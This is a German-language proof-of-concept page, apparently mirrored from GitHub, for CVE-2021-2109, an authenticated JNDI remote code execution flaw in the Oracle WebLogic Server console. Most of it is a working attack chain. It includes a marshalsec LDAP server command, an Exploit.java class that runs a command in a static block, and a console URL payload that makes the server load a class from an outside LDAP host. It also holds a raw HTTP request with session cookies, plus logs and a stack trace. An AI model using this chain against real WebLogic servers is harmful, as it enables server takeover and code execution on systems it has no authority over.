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CVE-2021-2109 — CVE-2021-2109 && Weblogic Server RCE über JNDI | Kitploit
Tools/GitHubGitHub/al1ex/cve-2021-2109
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GitHubal1ex/cve-2021-2109

CVE-2021-2109

CVE-2021-2109 && Weblogic Server RCE über JNDI

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3110vor 5 JahrenVon Kitploit geprüft

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Beschreibung

Sicherheitslücke im Oracle WebLogic Server-Produkt von Oracle Fusion Middleware (Komponente: Console). Die betroffenen unterstützten Versionen sind 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 und 14.1.1.0.0. Eine leicht ausnutzbare Sicherheitslücke ermöglicht einem hochprivilegierten Angreifer mit Netzwerkzugriff über HTTP, den Oracle WebLogic Server zu kompromittieren. Erfolgreiche Angriffe auf diese Sicherheitslücke können zur Übernahme des Oracle WebLogic Servers führen. CVSS 3.1 Basis-Score 7.2 (Auswirkungen auf Vertraulichkeit, Integrität und Verfügbarkeit). CVSS-Vektor: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Voraussetzungen

Login-Authentifizierung erforderlich

So führen Sie eine RCE aus

Schritt 1: Weblogic einrichten

setup

Schritt 2: Anmelden

login

login2

Schritt 3：JNDI-Server einrichten
root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.174.1:4444/#Exploit 1088

jndi

Schritt 4: Exploit.java kompilieren
root@kitploit:~
javac Exploit.java
root@kitploit:~
import java.lang.Runtime;

public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

execute

Schritt 5: Einen einfachen HTTP-Server einrichten

httpserver

Schritt 6: Payload ausführen
root@kitploit:~
http://192.168.174.144:7001/console/console.portal?_nfpb=true&_pageLabel=EJBTestHomePage&EJBTestHomePagehandle=com.bea.console.handles.JndiContextHandle("ldap://192.168.174.1:1088/Exploit;AdminServer")&returnTo=al1ex

payload

result

LDAP- und HTTP-Server-Logs:

logs

Ein weiterer POC
root@kitploit:~
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.174;1:1088/Exploit;AdminServer%22) HTTP/1.1
Host: 192.168.174.144:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=GZUoX_MV8_7OMiv-hhhzix8-zbfknZI4Prm_41N4vUPBEt1vP8mf!2017534379; Hm_lvt_eaa57ca47dacb4ad4f5a257001a3457c=1605675257,1605704689,1605871061,1606205262; JSESSIONID=6qYoDKwKLN2nLGhJiJ1CtcaxZ8ENfjTU7B2n0GmG5HTVDrJxPkg3!655738588
Connection: close

Ergebnis in Burpsuite:

result

Ergebnis auf dem WebLogic-Server:

weblogic

LDAP- und HTTP-Server-Logs (Der erste Logeintrag gehört zu poc1):

logs2

Stack-Informationen：
root@kitploit:~
####<2021-1-22 下午12时48分01,552秒 CST> <Warning> <netuix> <DESKTOP-BFSBGQ0> <AdminServer> <[ACTIVE] ExecuteThread: '48' for queue: 'weblogic.kernel.Default (self-tuning)'> <weblogic> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-0000006d> <1611290881552> <[severity-value: 16] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-423420> <开始操作或刷新操作时执行重定向。重定向 url 为 /console/consolejndi.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage。> 
####<2021-1-22 下午12时48分42,691秒 CST> <Info> <WorkManager> <DESKTOP-BFSBGQ0> <AdminServer> <Timer-2> <<WLS Kernel>> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-00000005> <1611290922691> <[severity-value: 64] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-002959> <Self-tuning thread pool contains 0 running threads, 1 idle threads, and 49 standby threads> 
####<2021-1-22 下午12时49分37,248秒 CST> <Error> <Console> <DESKTOP-BFSBGQ0> <AdminServer> <[ACTIVE] ExecuteThread: '48' for queue: 'weblogic.kernel.Default (self-tuning)'> <weblogic> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-0000006e> <1611290977248> <[severity-value: 8] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-240003> <Administration Console encountered the following error: javax.naming.NamingException: problem generating object using object factory [Root exception is java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory]; remaining name 'Exploit'
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1092)
	at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
	at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at com.bea.console.actions.jndi.JNDIBindingAction.execute(JNDIBindingAction.java:83)
	at org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:431)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.access$201(PageFlowRequestProcessor.java:97)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor$ActionRunner.execute(PageFlowRequestProcessor.java:2044)
	at org.apache.beehive.netui.pageflow.interceptor.action.internal.ActionInterceptors.wrapAction(ActionInterceptors.java:91)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.processActionPerform(PageFlowRequestProcessor.java:2116)
	at com.bea.console.internal.ConsolePageFlowRequestProcessor.processActionPerform(ConsolePageFlowRequestProcessor.java:275)
	at org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:237)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.processInternal(PageFlowRequestProcessor.java:556)
	at org.apache.beehive.netui.pageflow.PageFlowRequestProcessor.process(PageFlowRequestProcessor.java:853)
	at org.apache.beehive.netui.pageflow.AutoRegisterActionServlet.process(AutoRegisterActionServlet.java:631)
	at org.apache.beehive.netui.pageflow.PageFlowActionServlet.process(PageFlowActionServlet.java:158)
	at com.bea.console.internal.ConsoleActionServlet.process(ConsoleActionServlet.java:266)
	at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:416)
	at com.bea.console.internal.ConsoleActionServlet.doGet(ConsoleActionServlet.java:135)
	at org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup(PageFlowUtils.java:1199)
	at org.apache.beehive.netui.pageflow.PageFlowUtils.strutsLookup(PageFlowUtils.java:1129)
	at com.bea.portlet.adapter.scopedcontent.framework.internal.PageFlowUtilsBeehiveDelegate.strutsLookupInternal(PageFlowUtilsBeehiveDelegate.java:43)
	at com.bea.portlet.adapter.scopedcontent.framework.PageFlowUtils.strutsLookup(PageFlowUtils.java:108)
	at com.bea.portlet.adapter.scopedcontent.ScopedContentCommonSupport.executeAction(ScopedContentCommonSupport.java:707)
	at com.bea.portlet.adapter.scopedcontent.ScopedContentCommonSupport.renderInternal(ScopedContentCommonSupport.java:265)
	at com.bea.portlet.adapter.scopedcontent.StrutsStubImpl.render(StrutsStubImpl.java:105)
	at com.bea.netuix.servlets.controls.content.NetuiContent.preRender(NetuiContent.java:292)
	at com.bea.netuix.nf.ControlLifecycle$6.visit(ControlLifecycle.java:428)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:727)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walkRecursivePreRender(ControlTreeWalker.java:739)
	at com.bea.netuix.nf.ControlTreeWalker.walk(ControlTreeWalker.java:146)
	at com.bea.netuix.nf.Lifecycle.processLifecycles(Lifecycle.java:399)
	at com.bea.netuix.nf.Lifecycle.processLifecycles(Lifecycle.java:361)
	at com.bea.netuix.nf.Lifecycle.runOutbound(Lifecycle.java:208)
	at com.bea.netuix.nf.Lifecycle.run(Lifecycle.java:162)
	at com.bea.netuix.servlets.manager.UIServlet.runLifecycle(UIServlet.java:465)
	at com.bea.netuix.servlets.manager.UIServlet.doPost(UIServlet.java:291)
	at com.bea.netuix.servlets.manager.UIServlet.doGet(UIServlet.java:231)
	at com.bea.netuix.servlets.manager.UIServlet.service(UIServlet.java:216)
	at com.bea.netuix.servlets.manager.SingleFileServlet.service(SingleFileServlet.java:275)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
	at com.bea.console.utils.MBeanUtilsInitSingleFileServlet.service(MBeanUtilsInitSingleFileServlet.java:64)
	at weblogic.servlet.AsyncInitServlet.service(AsyncInitServlet.java:125)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:295)
	at weblogic.servlet.internal.StubSecurityHelper$ServletServiceAction.run(StubSecurityHelper.java:260)
	at weblogic.servlet.internal.StubSecurityHelper.invokeServlet(StubSecurityHelper.java:137)
	at weblogic.servlet.internal.ServletStubImpl.execute(ServletStubImpl.java:353)
	at weblogic.servlet.internal.TailFilter.doFilter(TailFilter.java:25)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at com.bea.console.internal.ParamFilter.doFilter(ParamFilter.java:38)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at weblogic.servlet.internal.RequestEventsFilter.doFilter(RequestEventsFilter.java:32)
	at weblogic.servlet.internal.FilterChainImpl.doFilter(FilterChainImpl.java:78)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.wrapRun(WebAppServletContext.java:3797)
	at weblogic.servlet.internal.WebAppServletContext$ServletInvocationAction.run(WebAppServletContext.java:3763)
	at weblogic.security.acl.internal.AuthenticatedSubject.doAs(AuthenticatedSubject.java:344)
	at weblogic.security.service.SecurityManager.runAsForUserCode(SecurityManager.java:197)
	at weblogic.servlet.provider.WlsSecurityProvider.runAsForUserCode(WlsSecurityProvider.java:203)
	at weblogic.servlet.provider.WlsSubjectHandle.run(WlsSubjectHandle.java:71)
	at weblogic.servlet.internal.WebAppServletContext.doSecuredExecute(WebAppServletContext.java:2451)
	at weblogic.servlet.internal.WebAppServletContext.securedExecute(WebAppServletContext.java:2299)
	at weblogic.servlet.internal.WebAppServletContext.execute(WebAppServletContext.java:2277)
	at weblogic.servlet.internal.ServletRequestImpl.runInternal(ServletRequestImpl.java:1720)
	at weblogic.servlet.internal.ServletRequestImpl.run(ServletRequestImpl.java:1680)
	at weblogic.servlet.provider.ContainerSupportProviderImpl$WlsRequestExecutor.run(ContainerSupportProviderImpl.java:272)
	at weblogic.invocation.ComponentInvocationContextManager._runAs(ComponentInvocationContextManager.java:352)
	at weblogic.invocation.ComponentInvocationContextManager.runAs(ComponentInvocationContextManager.java:337)
	at weblogic.work.LivePartitionUtility.doRunWorkUnderContext(LivePartitionUtility.java:57)
	at weblogic.work.PartitionUtility.runWorkUnderContext(PartitionUtility.java:41)
	at weblogic.work.SelfTuningWorkManagerImpl.runWorkUnderContext(SelfTuningWorkManagerImpl.java:655)
	at weblogic.work.ExecuteThread.execute(ExecuteThread.java:420)
	at weblogic.work.ExecuteThread.run(ExecuteThread.java:360)
Caused by: java.lang.ClassCastException: Exploit cannot be cast to javax.naming.spi.ObjectFactory
	at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:163)
	at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
	at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
	... 94 more
> 
####<2021-1-22 下午12时50分42,783秒 CST> <Info> <WorkManager> <DESKTOP-BFSBGQ0> <AdminServer> <Timer-2> <<WLS Kernel>> <> <6ee09b18-9ac0-4c9a-9f92-7ae146152075-00000005> <1611291042783> <[severity-value: 64] [rid: 0] [partition-id: 0] [partition-name: DOMAIN] > <BEA-002959> <Self-tuning thread pool contains 0 running threads, 1 idle threads, and 49 standby threads>

Referenzen

https://www.oracle.com/security-alerts/cpujan2021.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-2109

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